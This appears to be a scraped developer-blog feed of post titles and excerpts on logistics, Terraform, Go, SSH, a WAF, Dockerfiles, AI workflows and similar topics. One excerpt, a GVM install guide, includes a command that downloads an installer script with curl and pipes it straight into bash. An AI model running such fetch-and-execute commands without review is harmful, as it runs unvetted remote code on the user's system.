    Theo báo cáo mới nhất từ World ACD, giá cước hàng không xuất phát từ khu vực Châu Á - Thái Bình Dương đang duy trì đà tăng do nhu cầu xuất khẩu tăng mạnh và công suất hạn chế trên các tuyến chính. 📌Tác động chính đến chuỗi cung ứng 📌Khuyến nghị từ Legend Shipping 👉Legend Shipping luôn cập nhật thị trường và tối ưu giải pháp logistics cho khách hàng, đảm bảo hiệu quả - ổn định - đúng tiến độ trong bối cảnh biến động giá cước. ✈️ AIR CARGO MARKET UPDATE - ASIA PACIFIC: RATES KEEP RISING 📌 Recommendations from Legend Shipping 👉 Legend Shipping continuously monitors the air cargo market and provides optimized logistics solutions to ensure efficiency - stability - on-time performance amid rate fluctuations. ✈️ 空运市场快讯 - 亚太地区: 运价持续上升 𝗟𝗘𝗚𝗘𝗡𝗗 𝗦𝗛𝗜𝗣𝗣𝗜𝗡𝗚 𝗚𝗥𝗢𝗨𝗣 Info@legend-shipping.com Lghp@legend-shipping.com '' 𝑪𝑯𝑼𝒀𝑬̂𝑵 𝑵𝑮𝑯𝑰𝑬̣̂𝑷, 𝑻𝑨̣̂𝑵 𝑻𝑨̂𝑴, 𝑻𝑰𝑵 𝑪𝑨̣̂𝒀 𝑽𝑨̀ 𝑯𝑰𝑬̣̂𝑼 𝑸𝑼𝑨̉ '' logistic #dichvuvanchuyen #khaithuehaiquan #vanchuyenduongbien #vanchuyenquocte #vanchuyennoidia vanchuyencontainer #vanchuyenhangnguyhiem #vanchuyenhangquakRhoquatai legendshipping  ( 7 min )
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    Workflow Deep Dive
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    Is it just me, or are AI code reviews getting noisier?
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    How a Traditional Retail Brand Transformed Its Operations With Data & Automation
    When I first met the operations team at a mid-sized retail brand in Mumbai, they were struggling with one simple problem: They had: 17 different Excel files Manual stock entries Delayed sales reports Zero real-time visibility And a growing frustration from the management team The company wanted to grow, but their processes were slowing them down. That’s where Wisecor Transformation stepped in. Phase 1 — Understanding the chaos Instead of throwing technology at the problem, we spent the first week observing how the team actually worked: https://wisecortransformations.com/ One thing became clear: Phase 2 — Data sanitization & centralized dashboard We cleaned, merged, and standardized all their data sources. Suddenly, the management could see: Top-selling products Low-stock alerts High-exit inventory Daily sales comparisons Store-wise performance Everything on one screen. Phase 3 — Predictive insights Using machine learning, we predicted: When specific items would run out Which categories would grow Seasonal demand spikes The team no longer guessed — they planned. The impact in 90 days 34% faster inventory decisions 21% cost reduction in over-stocking 100% elimination of manual reporting Management saved 22 hours per week The best part? This is the kind of transformation Wisecor loves — taking something messy, unstructured, and slow… and turning it into a simple, automated, data-driven system.  ( 7 min )
    My Journey to China Xiamen University, Why I Chose This Path and Why You Might Too
    Two years ago, I was sitting in my room at home, completely stressed out about my future. My parents kept asking where I wanted to study medicine, friends were making their decisions, and honestly, I felt lost. I googled “best affordable medical schools” about a hundred times. I checked out universities in the UK, Australia, USA – places where everyone goes. But the fees? They made my head spin. I literally showed my mom the numbers and she went pale. That’s when my uncle mentioned something casually over dinner – his neighbor’s son was studying MBBS in China at China Xiamen University. I remember thinking, China? Really? But I was desperate enough to look it up. Turns out, that random dinner conversation changed everything. I started messaging the neighbor’s son on WhatsApp, bombarding hi…  ( 16 min )
    Supercharge Your Development Workflow with MyToolHub: The Ultimate Tool Collection for Developers
    Introduction As a developer, having the right tools at your fingertips can make all the difference. From code formatting to debugging, to converting and organizing data, the tools you use are integral to streamlining your workflow and boosting productivity. That’s where MyToolHub comes in. MyToolHub is a one-stop hub for a wide range of online tools designed to make developers' lives easier. Whether you're working on a personal project, collaborating on a team, or just looking for quick fixes for common coding issues, MyToolHub has the perfect utility for the job. Why Developers Should Use MyToolHub For developers, time is money. The fewer distractions you face while working on your code, the more productive you'll be. That’s why having a toolset that can quickly solve your problems is so …  ( 8 min )
    I Skipped My Birthday to Give Go Its First Real ML Framework
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    Advent of Cyber 2025: Day 1 Writeup & SideQuest | TryHackMe
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    Why AI ETL Needs Different Primitives: Lessons from Building CocoIndex in Rust 🦀
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    My Journey to China Xiamen University, Why I Chose This Path and Why You Might Too
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    One GitHub Copilot Agent Prompt for Safer Changes
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    How I Built a "Vision-Based" Web Scraper in n8n (No CSS Selectors Needed)
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    Agentic AI in Software Testing: Revolutionizing Quality Assurance
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    The Missing Human Touch in Modern Medicine
    A Philosophical and Systemic Inquiry into the Erosion of Empathy and the Doctor–Patient Relationship The progressive erosion of empathy within contemporary medical practice constitutes a critical challenge for global health systems. Despite unprecedented technological capacity and diagnostic precision, patient dissatisfaction, mistrust, and clinician burnout are rising. This paper offers a rigorous analysis of the structural, epistemic, and institutional forces driving this decline. Bureaucratic intensification, hyper-specialisation, medico-legal anxieties, and technological mediation have collectively displaced the relational, interpretive, and narrative dimensions of care. These shifts have reshaped both the phenomenology of the clinical encounter and the epistemology of clinical reasoni…  ( 9 min )
    Agentic AI in Healthcare: Applications and Best Practices
    Agentic AI in Healthcare Date: 2025-12-01 Agentic AI refers to artificial intelligence systems that can take independent, goal-directed actions in the world or within digital environments to accomplish tasks on behalf of humans. In healthcare, agentic AI promises to improve outcomes, increase efficiency, and augment clinical decision-making by proactively initiating workflows, coordinating care, and autonomously executing routine actions under human oversight. This article surveys what agentic AI means for healthcare today, explores potential applications, weighs benefits against risks, and offers practical implementation guidance and best practices for clinicians, administrators, and policy-makers. Definition: Agentic AI are systems that perceive their environment, make decisions based …  ( 9 min )
    Implement Simple CI/CD with GitHub Actions
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    Understanding Regex: The Simplest Guide.
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    Mastering Real-Time Apps: How a WebSocket Tester Transforms Connectivity
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    Building a Practical A2A Protocol for Multi-Agent Supply Chain Intelligence
    Supply chains rarely operate in neat, single-step workflows. Behind every classification, compliance check, cost estimate, or risk evaluation is a sequence of decisions, lookups, validations, and dependent calculations. Most conventional API designs oversimplify this reality, assuming that a single request-response cycle is enough to represent the entire process. Over the past months, we’ve been designing systems that work with large-scale supply chain intelligence—linking products, enterprises, geographies, and signals into a global supply graph. Through this work, a recurring question kept coming up: How do you design an interface that can express multi-step logic without forcing callers into accidental complexity? This question led us to explore a lightweight A2A (Agent-to-Agent) proto…  ( 8 min )
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    What “knowledge base in AI” really means In AI, a knowledge base is not a single document. It is a structured and semi-structured collection that models can retrieve, understand, and use to answer questions or generate content. Strong knowledge bases share three traits: Machine-readable content: FAQs, how-to guides, code snippets, logs, tables, and dialogue. Rich metadata: topics, tags, sources, timestamps, trust scores. Continuous upkeep: versioning, review workflows, user feedback loops. Large language models (LLMs) tap knowledge bases in two phases: as training data that shapes their baseline capabilities, and as retrieval sources (RAG) that ground answers with current, trusted context. A plain-language definition and why it matters for LLMs. The difference between traditional KBs and…  ( 9 min )
    SpaceX to Launch Mission on Falcon 9 Booster 1081
    SpaceX is preparing for another high-profile mission using its reliable Falcon 9 workhorse, this time powered by the first-stage booster numbered 1081. 1) Booster 1081 Returns to Service 2) Mission Objective 3) Launch Site & Timing 4) Reusability Milestone 5) Enhanced Performance Record 6) Strengthening SpaceX’s Global Role https://medium.com/@theentrepreneurinsights/spacex-to-launch-mission-on-falcon-9-booster-1081-02e68205dbee  ( 7 min )
    5 Physics Systems You Can Build in Scratch (With Working Code)
    Physics transforms boring games into engaging experiences. Here are 5 systems you can build in Scratch today. Physics simulates real-world forces: Gravity - Objects fall naturally Momentum - Moving objects keep moving Friction - Things slow down over time Collision - Realistic bouncing and impact The foundation of all physics games: when green flag clicked set [y velocity] to (0) forever // Gravity pulls down change [y velocity] by (-1) // Apply movement change y by (y velocity) // Ground collision if then repeat until > change y by (1) end set [y velocity] to (0) end end What you get: Sprites fall naturally and land on platforms. Use for: Every platformer, falling object game, jumping mechanic Add horizontal …  ( 8 min )
    Building a Kiroween Avatar Maker with Kiro 👻 + 4S Playbook
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    Web development roadmap
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    19,400+ GitHub Stars: This Free WAF Is on Fire
    Tired of constantly maintaining endless regex rules in traditional WAFs? Say hello to SafeLine, a free, open-source Web Application Firewall (WAF) that’s taking the cybersecurity world by storm! With over 19,400 stars on GitHub, SafeLine offers dynamic protection and semantic detection, making it perfect for defending against real-world attacks. Let’s dive into why it’s a must-have tool for developers and sysadmins. Dynamic Protection: Scramble Your Frontend Every Time Gone are the days of static code that’s easy to target by bots. SafeLine dynamically obfuscates your HTML and JavaScript on every page load, making your source code unreadable to crawlers and bots. /admin/login becomes a random encrypted path like /a8c9f1, and it changes with every refresh. Real users see no difference, bu…  ( 7 min )
    🧠Maybe I Just Do Not Get It!
    I have been working with AI for a while now. Not as a tourist. Not as a weekend hacker. Deep in it. Shipping things, wiring models into products, watching logs at 3am, apologizing to users when something weird happens. And still, every time I see one of those posts that says: "Autonomous agents will run your business for you." I feel this quiet, uncomfortable voice in my head: "Maybe I am the one who does not get it." Everyone seems so confident about this idea that we can just: Plug a model into a tool layer Wrap it in a few prompts Let it call APIs And watch it "run operations" or "manage your company" And here I am, on the side, asking questions that sound almost boring: Are we actually giving this thing real power over important decisions? What exactly is our control surface? What…  ( 19 min )
    大模型微调:SFT
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    Day-08: Meta Arguments in terraform
    Meta arguments In terraform, the meta arguments are classified into 5 types depends_on count for_each provider lifecycle count: used for iterating over a list example code: // variables.tf variable "bucket_count_list" { type = list(string) default = [ "bhaskaratejabulusu-bucket-day-08-list-1", "bhaskaratejabulusu-bucket-day-08-list-2" ] } // main.tf resource "aws_s3_bucket" "bucket1" { count = length(var.bucket_count_list) bucket = var.bucket_count_list[count.index] // iterates over a list from 0 to [count-1] } for_each iterates over values / key-value pairs used in maps and sets to use for_each the datatype must be either map or a set example for set and map: // variables.tf // set variable "bucket_count_set" { type = set(string) default = [ "bhaskaratejabulusu-bucket-day-08-set-1", "bhaskaratejabulusu-bucket-day-08-set-2" ] } // map variable "bucket_count_map" { type = map(string) default = { "bucket1" = "bhaskaratejabulusu-bucket-day-08-map-1", "bucket2" = "bhaskaratejabulusu-bucket-day-08-map-2" } } // main.tf // using set resource "aws_s3_bucket" "bucket2" { for_each = var.bucket_count_set bucket = each.value // iterates over the set using a for loop internally and retrieves every value } // using map resource "aws_s3_bucket" "bucket3" { for_each = var.bucket_count_map bucket = each.value } depends_on example: // main.tf resource "aws_s3_bucket" "bucket1" { count = length(var.bucket_count_list) bucket = var.bucket_count_list[count.index] } resource "aws_s3_bucket" "bucket2" { for_each = var.bucket_count_set bucket = each.value depends_on = [ aws_s3_bucket.bucket1 ] } In the above code, the bucket2 is dependent on bucket1 so terraform will wait for bucket1 to be created and then bucket2 will be created ensuring the correct order. @piyushsachdeva  ( 7 min )
    Ringer Movies: ‘Rocky II’ With Bill Simmons, Chris Ryan, and Van Lathan | The Rewatchables
    ‘Rocky II’ gets the full Rewatchables treatment as Bill Simmons, Chris Ryan, and Van Lathan revisit Sylvester Stallone’s sequel, admit they’re a few jabs short of a title shot, and unpack why this follow-up really matters to the franchise. They kick things off with a timestamped breakdown—cold open, deep dive on Stallone’s journey, their pick for most rewatchable scene, and a classic “Categories” showdown—delivering an irreverent, laugh-filled look at Rocky’s toughest rematch. Watch on YouTube  ( 6 min )
    React Native Background Geolocation for Mobile Apps 2026
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    Fix: Qwik makes empty sitemap.xml
    Qwik or Qwik City generates correct sitemap on local but on production, it's empty? This problem is not solved by following the official Qwik documentation because it's a different type of error. When deploying a Qwik application using the Node.js adapter (nodeServerAdapter), the sitemap.xml file works perfectly in local development but appears empty in production: This issue affects multiple Qwik projects and is one of the most confusing deployment problems because: ✅ Local build works fine ✅ Dev server serves sitemap correctly ❌ Production sitemap is empty ❌ No error messages or warnings The Node.js adapter (@builder.io/qwik-city/adapters/node-server) automatically runs Static S…  ( 10 min )
    Understanding Qeltrix V1 PoC Performance: Context & Limitations
    Following our recent announcement of the Qeltrix V1 PoC test results, we want to provide crucial context about the performance numbers and why they should be interpreted carefully. Transparency is essential for a community-driven project. This is a Proof-of-Concept at its most fundamental level. It's not pre-development, not a prototype, not alpha software. The V1 PoC exists solely to answer one question: "Is this technical approach viable?" The performance measurements help validate that viability, but they don't represent optimized, production-ready performance. Purpose: Validate core concept feasibility Optimization level: None - deliberately basic Code maturity: Foundational validation code Performance target: Prove it works, not prove it's fast The V1 PoC is written in Python, which i…  ( 10 min )
    The Secret Life of Go: Interfaces
    Chapter 7: The Power of Implicit Contracts Tuesday morning brought fog. Ethan descended to the archive carrying coffee and a small box of biscotti. Eleanor looked up. "Italian today?" "The baker said biscotti are designed to fit perfectly into coffee cups—form following function." She smiled. "Perfect. Today we're talking about interfaces—Go's way of defining what something can do, regardless of what it is." Ethan set down the coffees. "That sounds abstract." "It is. Let me show you something." Eleanor opened a new file: package main import "fmt" type Dog struct { Name string } func (d Dog) Speak() string { return "Woof!" } type Cat struct { Name string } func (c Cat) Speak() string { return "Meow!" } func main() { dog := Dog{Name: "Buddy"} cat := Cat{Name: …  ( 13 min )
    LinkedIn's 2026 Algorithm: The Engagement Bait Era Is Finally Over
    LinkedIn just killed the carousel hack. You know the one. That "swipe for more" format that dominated feeds for the past two years, promising insights while delivering mostly repackaged platitudes with nice gradients. The 2026 algorithm changes—rolling out in phases starting January—represent the most significant shift in how B2B content gets distributed since the platform decided it wanted to be a "creator economy" player back in 2023. And honestly? It's about time. I've spent the last three weeks digging into LinkedIn's official guidance, testing content variations, and talking to folks who've seen their reach either crater or explode in the beta rollout. Here's what's actually changing and what you need to do about it before your carefully crafted content strategy becomes expensive nois…  ( 12 min )
    Understanding SSH: A Beginner's Guide
    When you hear people in tech talk about SSH, they're usually referring to a way of securely connecting to another computer over the internet or a network. The full form of SSH is Secure Shell. At first, that might sound abstract, so let's start with a simple picture. Imagine you have a computer at home, and another one sitting in a data center somewhere far away. You want to log into that remote computer and run commands, just as if you were sitting in front of it. That's exactly what SSH allows you to do, but in a safe and encrypted way. SSH stands for Secure Shell. It's a cryptographic network protocol that lets you: Log into remote computers securely Execute commands on machines you can't physically touch Transfer files without anyone snooping Create encrypted tunnels for other network …  ( 12 min )
    Feature Drift & Concept Drift — Why Models Rot in Production (Part 3)
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    Clean Code in ETL:How Python, Go, and SQL Each Teach You to Think Differently
    Hey Devs 👋 Sometimes in data engineering, the biggest lessons don't come from huge systems or fancy architectures… Switching between languages. Recently, I was working on a series of ETL tasks - nothing huge, no fancy pipeline, just moving and transforming data using Python, Go, and SQL at different stages. But after a few days of jumping between them, something clicked: "Wait… each language is forcing me to write ETL differently." And that thought basically became the reason for this post. If you work anywhere near ETL, or you're learning DE fundamentals, this might help you see why people mix languages so often in data systems. It started with a small exercise: clean raw data → Python push the processed data efficiently → Go shape it inside the database → SQL The task itself wasn't…  ( 8 min )
    re:Invent2025ライブストリーミングを楽しもう
    みなさん、re:Invent2025を楽しんでいますか? JAWS-UG千葉支部のイベントでre:Invent 2025 Daily re:Capなどで現地のイベント状況が日本にいながら楽しめます。 私は、re:Inventは2018年と2023年に参加しており、AWS Community Builderとして参加した一昨年は熱量を現地で浴びて大きな刺激になりました。 ここ2年間は家庭や仕事の都合で予定を開けることができず、残念ながら現地参加ができていませんが、日本からでも現地の熱量をライブストリーミングで味わうことができます。 昨日はRoad to re:Inventという内容で最初のライブストリーミングがありました。 昨年のライブストリーミングはYoutube配信でしたが、今年はtwitchでの配信となっており、字幕や同時翻訳をすることができないようです。ただ、アーカイブがありますので、ゆっくり楽しむことができます。 明日からはキーノートが始まります。字幕がつくことを期待したいです💦 明日のキーノート Opening Keynote with Matt Garman (KEY001) は現地時間午前8時から始まります。日本時間では午前1時~と睡魔と闘わなければならない時間帯ですが、楽しんでいきたいですね。  ( 6 min )
    🚀Building Your First MCP Server: A Complete Guide
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    Why JavaScript Is More Important Than Ever in Today’s Development World
    JavaScript has evolved far beyond a simple browser scripting language. Today, it is the backbone of modern web development and one of the most in-demand technologies across the industry. Whether you’re building web apps, mobile apps, servers, or even AI tools, JavaScript plays a central role in shaping the digital world. Below are the key reasons why JavaScript is more important than ever. 1) JavaScript Runs Everywhere Unlike most languages limited to specific platforms, JavaScript works across: Browsers Mobile apps (React Native, Ionic) Desktop apps (Electron) Backend servers (Node.js) This makes it one of the most versatile languages in the world. 2) Massive Ecosystem & Community Support With millions of developers and countless packages on npm, JavaScript has: Fast solutions for common …  ( 7 min )
    Data Leakage — The Silent Accuracy Killer (Part 2)
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    Working with the DOM, Click Events, and Web APIs
    What Is an API, and What Are Web APIs? These types of APIs are often divided into two main categories: browser APIs and third-party APIs. Browser APIs expose data from the browser. As a web developer, you can access and manipulate this data using JavaScript. They also provide access to various functionalities, such as manipulating the structure of the website, handling events, working with storage, and communicating with the network. Some examples of commonly used Browser APIs include: The DOM API, which you can use to manipulate HTML elements, their styles, and attributes. You will learn much more about the DOM in the coming lessons. It’s a core concept in web development. The Storage API, to store data locally on the user’s device. To use the requestAnimationFrame() method, all you nee…  ( 10 min )
    Mitigating post-airdrop fud practical guide for Web3 teams
    ⏱️ Reading time Post-airdrop chaos isn't random. It's a predictable structural failure in expectations management. The airdrop "mercenary" isn't here for your technology or vision. They're hunting profit. When that profit expectation gets crushed, whether through Sybil detection or an allocation smaller than imagined, the response is swift and brutal: FUD (Fear, Uncertainty, and Doubt) weaponized as revenge. *85% of eligible addresses received between $100 and $500. This isn't a philosophical problem. It's a tactical one. The outdated approach of "ignore the haters" doesn't work anymore. Smart projects like LayerZero, Arbitrum, and Starknet have proven that strategic social engineering and technical safeguards can transform this chaos into manageable friction. The Pre-Event Vaccine: Expec…  ( 10 min )
    From 5 Seconds to 0.7 Seconds: How I Built a Production-Ready Voice AI Agent (And Cut Latency by 7x)
    The tl;dr for the Busy Dev I built a production-ready voice AI agent that went from 5+ seconds of latency to sub-second responses through 8 systematic optimization phases. The journey wasn't just about code—it was about understanding where bottlenecks hide and how simple changes can have massive impact. The Stack: LiveKit Agents SDK - Real-time WebRTC infrastructure OpenAI - STT (Whisper → GPT-4o-mini-transcribe) & LLM (GPT-4o → GPT-4o-mini) ElevenLabs - Text-to-Speech synthesis Python 3.11 - Implementation language The Results: 🚀 7x faster - Total latency: 5.5s → 0.7s (best case) ⚡ 3-8x LLM improvement - TTFT: 4.7s → 0.4s 💨 98% STT improvement - Subsequent transcripts: 2.1s → 0.026s (near-instant!) 💰 10x cost reduction - Switched from GPT-4o to GPT-4o-mini 🧠 Context management - Aut…  ( 16 min )
    Top 10 Mistakes Developers Commonly Make (and Why They Happen)
    Even the best developers make simple mistakes — not because they lack skill, but because they overlook small details under pressure. Here are the top 10 dev mistakes and the real reason behind each: 1) Forgetting Active/Inactive Status Updates Why? Small flags get ignored while focusing on major logic. Later, UI breaks. 2) Hardcoding Values Why? “Temporary” fixes that become permanent and cause issues in production. 3) Skipping Validation Why? Developers rush to make the feature work, validation comes last. 4) Ignoring Error Logs Why? Warnings look harmless — until they explode later. 5) Not Handling Null or Empty Data Why? Assumption that data will always exist (it never does). 6) No Comments in Code Why? “I’ll remember this later.” No one ever does. 7) Missing Migrations or DB Sync Why? Local works fine → live breaks. Classic mistake. 8) Poor Folder/Code Structure Why? Speed over maintainability during development. 9) Weak Error Handling (no try/catch) Why? Developers build for success paths, not failure. 10) Direct Push to Main Branch Why? “Quick fix” mindset. Leads to bigger problems. Developer Reminder Most dev mistakes aren’t technical they’re habit-based. Small improvements in workflow can save you hours of debugging and make you a stronger engineer.  ( 6 min )
    Blazor Developer Tools v0.10: A Deep Dive into Framework-Level Integration
    When I first released Blazor Developer Tools, I had a simple goal: give Blazor developers the same component inspection experience that React developers have enjoyed for years. React DevTools lets you see your component tree, inspect props in real-time, and understand your application's structure. Blazor had nothing equivalent. The v0.9 release was a working MVP, but I always knew the architecture had fundamental limitations that would eventually hit a wall. After weeks of studying the Blazor source code and exploring dead ends, I've arrived at a completely new architecture for v0.10 that solves these problems at the framework level. This post explains what I learned, the options I considered, and why the new approach works. The v0.9 architecture was clever but ultimately a workaround. Her…  ( 13 min )
    From Ruby OOP to Elixir Functional by Example
    One of the most effective ways to learn functional programming is to convert the same features you've written in an OOP language to functional style. In this post, I won't go into theoretical details about functional programming. Instead, I'll implement and compare a concrete example to highlight the differences between thinking in OOP vs functional paradigms. For example, I have a ToyRobot object in Ruby. In OOP terms, this object has: 3 attributes: x, y, and direction Some actions: move, turn left, turn right Below is the code implemented in Ruby: class ToyRobot attr_reader :x, :y, :direction DIRECTIONS = [:north, :east, :south, :west] BOUNDS = {x: 0..10, y: 0..10} def initialize @x = 0 @y = 0 @direction = :north end def place(x, y, direction) if DIRECTI…  ( 8 min )
    Think Like HATEOAS: How Agentic RAG Dynamically Navigates Knowledge
    Simple RAG vs Agentic RAG -Why Your AI Needs to Think, Not Just Search Ever wondered why we need Agentic RAG when Simple RAG already retrieves answers? Let’s make it tangible with an analogy. HATEOAS (Hypermedia as the Engine of Application State) is a design principle for APIs: Instead of giving you a single static response, the API provides links or next actions to explore. This allows clients to navigate intelligently and discover related resources. We can use this idea to understand RAG: Simple RAG = A single REST call You query /recipe/chocolate-cake → you get one recipe. Fast, straightforward, but limited—you only see what’s returned. Agentic RAG ≈ HATEOAS-inspired exploration You query /recipe/chocolate-cake → the system returns the recipe and dynamically decides what else to fet…  ( 7 min )
    🚀 The Ultimate C++ Guide: Why This 40-Year-Old Language Still Dominates Modern Programming
    C++ is more than a programming language — it’s the engine behind some of the world’s fastest databases, biggest games, most powerful operating systems, and mission-critical systems that cannot fail. Even after 40 years, C++ is not only alive — it’s evolving, faster than ever, and powering everything from AAA game engines to financial trading systems to space tech. In this article, I’m giving you a full, modern, developer-friendly C++ guide, including: ✅ Why C++ still matters Let’s dive in. 👇 Here’s the truth no one can ignore: Speed close to raw machine code Full control over memory and hardware Zero-overhead abstractions Cross-platform power Predictable performance Massive ecosystem (Boost, STL, game engines, compilers) Unreal Engine / Game Engines Google Chrome MySQL, MongoDB, PostgreSQ…  ( 9 min )
    Google Patents Prior Art Finder: Expert Guide for IP Professionals
    Introduction In today’s fast-paced innovation landscape, identifying relevant prior art quickly and accurately is a critical task. Patent attorneys, examiners, R&D managers, and innovation teams need tools that help streamline searches without sacrificing defensibility. Traditional keyword searches alone are often insufficient for uncovering subtle similarities across patents and non-patent literature (NPL). Enter the Google Patents prior art finder, an AI-driven tool designed to identify semantically related patents and documents across multiple indexes, including Google Patents, Scholar, Books, and the broader web. For professionals involved in novelty assessment, invalidity research, competitive intelligence, and freedom-to-operate (FTO) studies, understanding how to use this tool e…  ( 10 min )
    how to use GVM (Go Version Manager)
    How to Use GVM (Go Version Manager) GVM (Go Version Manager) is a tool that allows developers to easily install, manage, and switch between multiple versions of the Go programming language on a single system. It simplifies handling different Go versions for different projects without conflicts. To install GVM on your system, follow these steps: First, install the required dependencies: sudo apt-get install curl git mercurial make binutils bison gcc build-essential Next, install GVM using the official installer script: bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer) If you use zsh instead of bash, replace bash with zsh in the command above. After installation, restart your shell or source your profile to load GVM commands…  ( 7 min )
    Monetzly: The Future of AI Monetization for Developers
    Advertising is Evolving: Here’s Where It’s Heading in the AI Era As developers, we’ve witnessed a seismic shift in the landscape of application development, particularly with the rise of AI-powered applications. However, one pressing challenge looms over this innovative wave: monetization. Traditional models—like subscriptions and paywalls—often disrupt user experience and limit growth. Enter Monetzly, the first dual-earning platform designed specifically for AI conversations, offering a fresh perspective on monetization in this new era. Imagine a world where your AI application not only engages users through meaningful conversations but also generates revenue without compromising that experience. Monetzly makes this a reality by enabling developers to monetize their apps while hosting r…  ( 7 min )
    # 🛡️ Entendiendo las Service Control Policies (SCPs) en AWS Organizations
    1. Introducción ¿Qué problema resuelven las SCPs? Las SCPs, a diferencia de los permisos de IAM, no otorgan permisos, sino que los restringen. Popularmente llamados "guardrails" o "barandillas", son una herramienta clave para la gobernanza de AWS, así como también para fijar los lineamientos de seguridad y cumplimiento de la empresa. Antes de proseguir debemos entender unos conceptos previos: Es un tipo de política de IAM que permite otorgar permisos a los usuarios y roles de AWS. AWS Organizations es un servicio que permite administrar y gestionar de forma centralizada múltiples cuentas de AWS. Con Organizations puedes: Crear y gestionar cuentas de AWS (Account Management) Centralizar los costos de las cuentas de AWS (Billing) Gestionar los permisos de las cuentas de AWS junt…  ( 14 min )
    two intern in my office, one pushed node modules in repo and one connected backend to backend instead of frontend,
    A post by ADITYA1000  ( 6 min )
    7 Nano Banana Pro Workflows That Actually Save You Hours As a Developer and More
    If you have subscribed to my newsletter, you may know that my previous post explained the basics of what Nano Banana Pro can do and shared a number of mind-blowing use cases. It went viral (and even ranked on Google) because people are tired of hearing "it can make a picture of a cat". Later, I wrote a post explaining how Nano Banana can specifically help if you are a designer, a teacher, or a founder, and I shared practical workflows for each. Seeing the hype around Nano Banana Pro, I spent another 50+ hours going deeper and found 7 advanced, profession-specific use cases that actually justify the "Pro" in the name. And that's what I'm going to share with you today. Note: If you enjoy reading this type of practical and informative content, and want to get my best AI insights straight to y…  ( 12 min )
    The Hidden Dockerfile Mistakes That Waste Hours (Thinking of Building a Tool for This)
    Developers love to pretend their Dockerfiles are perfect until a build takes eight minutes and the image balloons bigger than a AAA game update. Most of the time, the cause is embarrassingly simple stuff: missing version pins, unnecessary layers, or copying half the universe into the image. Example mistakes I keep seeing: "RUN apt-get install python No version pin. Enjoy the surprise upgrades later. COPY . . Congrats, you just shoved your entire repo and node_modules into the image because why not. RUN pip install --upgrade pip RUN pip install -r requirements.txt Two separate layers doing what one should handle. I’m exploring a small, focused tool that analyzes Dockerfiles and built images to catch these issues quickly. No AI circus, just rule checks and clear suggestions. I’m curious how common this pain actually is. Feel free to comment your thoughts or examples of Dockerfile mistakes you’ve faced  ( 6 min )
    I'm 19 and building ZK identity for Nostr. Looking for co-founders.
    The problem Current platforms have no answer. Blue checks can be bought. "Real name" policies are theater. Meanwhile, journalists get murdered for telling the truth. Creators get deplatformed overnight. Everyone self-censors. What I'm building: A ZK identity layer for Nostr that lets you: Prove you're human without revealing who Anonymous but accountable. Trust without identity. Vision locked What I need Are down to go from 0 to 1 Not promising salaries. Promising the chance to build infrastructure for human freedom in the AI era. DM me on Nostr: ryan Or comment here. Let's build.  ( 6 min )
    The Code Review Killer: Ditch Manual Checks with this n8n & GPT Automation Guide
    Have you ever wished you had a code review assistant of your own that could instantly give feedback on each new Pull Request (PR)? Manual code reviews are a necessary part of the development process, but they are expensive, slow, and inconsistent. As of writing this article, tools like GitHub Copilot's Code Review feature are premium, requiring subscriptions: Copilot Pro: ($10 USD/month or $100/year) Copilot Pro+: ($39 USD/month or $390/year) Can we achieve this within a reduced budget? YES. This article is designed to help you build your own persistent, automated AI Code Review Assistant hosted for free (or near-free) using a powerful, controlled workflow. Role in the System Why We Use It n8n Workflow Creation An AI workflow automation tool that connects GitHub to OpenAI, manages …  ( 9 min )
    Positional Encodings and Context Window Engineering: Why Token Order Matters
    📚 Tech Acronyms Reference Quick reference for acronyms used in this article: AI - Artificial Intelligence ALiBi - Attention with Linear Biases API - Application Programming Interface BERT - Bidirectional Encoder Representations from Transformers GPU - Graphics Processing Unit GPT - Generative Pre-trained Transformer LLM - Large Language Model QKV - Query, Key, Value RAM - Random Access Memory RoPE - Rotary Positional Embeddings ROI - Return on Investment Technical Terms: Context Window - Maximum number of tokens a model can process in one request Positional Encoding - Method to tell the model which token is in which position Sinusoidal - Using sine and cosine wave functions Extrapolation - Ability to handle sequences longer than training length Sparse Attention - Attending to only a sub…  ( 17 min )
    Tech Selection for AI-Driven Development: Choosing the Right Stack
    This is Day 2 of the Building a SaaS Solo - Design, Implementation, and Operations Advent Calendar 2025. Yesterday's article covered "How to Start Indie Development." Today, I'll dive deeper into tech selection, which is crucial for AI-driven development. It's a development style that leverages AI coding assistants like Claude Code, Codex, or Cursor. Tell the AI "implement this feature" and it generates code. When you get an error, say "fix this error" and it suggests solutions. To maximize development efficiency with this style, it's important to choose tech stacks that AI can understand well. There's a great document called "Indie Development Complete Guide" on izanami, a posting platform for indie developers, which summarizes tech selection resources and the overall picture of indie dev…  ( 8 min )
    Mastering CSS Shadows and Filters: Adding Depth and Style to Your Designs
    Flat designs can sometimes feel lifeless. That’s where CSS shadows and filters come in — simple yet powerful ways to introduce depth, realism, and visual polish into your UI. When used thoughtfully, they make elements pop, images look cinematic, and interfaces more engaging. In this post, let’s explore the world of box shadows, text shadows, and filters, with examples and best practices. box-shadow) The box-shadow property is one of the most widely used styling techniques in modern UI design. css box-shadow: offset-x offset-y blur-radius spread-radius color; css .card { box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2); } offset-x & offset-y → position of the shadow blur-radius → softness of the shadow edges spread-radius → whether the shadow grows or shrinks Color → can be solid or transpar…  ( 8 min )
    Tour: Shadcn/UI Onboarding Component for React/Next.js
    Tour: a shadcn/ui component that handles onboarding flows in React/Next.js applications. Key features: 🎯 Target elements with data attributes 🔄 Link steps across routes 📍 Control popover positioning ⚙️ Customize styling per step 🎛️ Manage tours through React context Installed through the shadcn CLI. Matches your existing design system without additional configuration. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    We’re living in a rare moment in history, a moment where an individual can build what once required an entire startup team. In 2025, a one-person AI company isn’t just possible. It’s practical, powerful, and scalable.
    How I’d Build a One-Person AI Company in 2025 Jaideep Parashar ・ Dec 2 #webdev #ai #startup #design  ( 7 min )
    Highlight Multiple Languages
    The changes explained in this post can be found in the Kilo-go Github repository, in the multilingual branch. At the moment, we have syntax highlighting but only for Go, and we want our editor to be able to highlight multiple languages. What do we want to achieve: Highlight multiple languages Multiple language support Add new languages without editing the code First we will be moving the syntax struct to its own package so we have the methods we will be creating in it File: sytnax/syntax.go package syntax import "github.com/alcb1310/kilo-go/utils" var GO_HL_EXTENSIONS = []string{".go"} var GO_HL_KEYWORDS = []string{"package", "import", "func", "type", "var", "const", "if", "else", "switch", "case", "default", "for", "range", "goto", "continue", "select", "return", "break", } var GO…  ( 9 min )
    How Career Shapes a Person
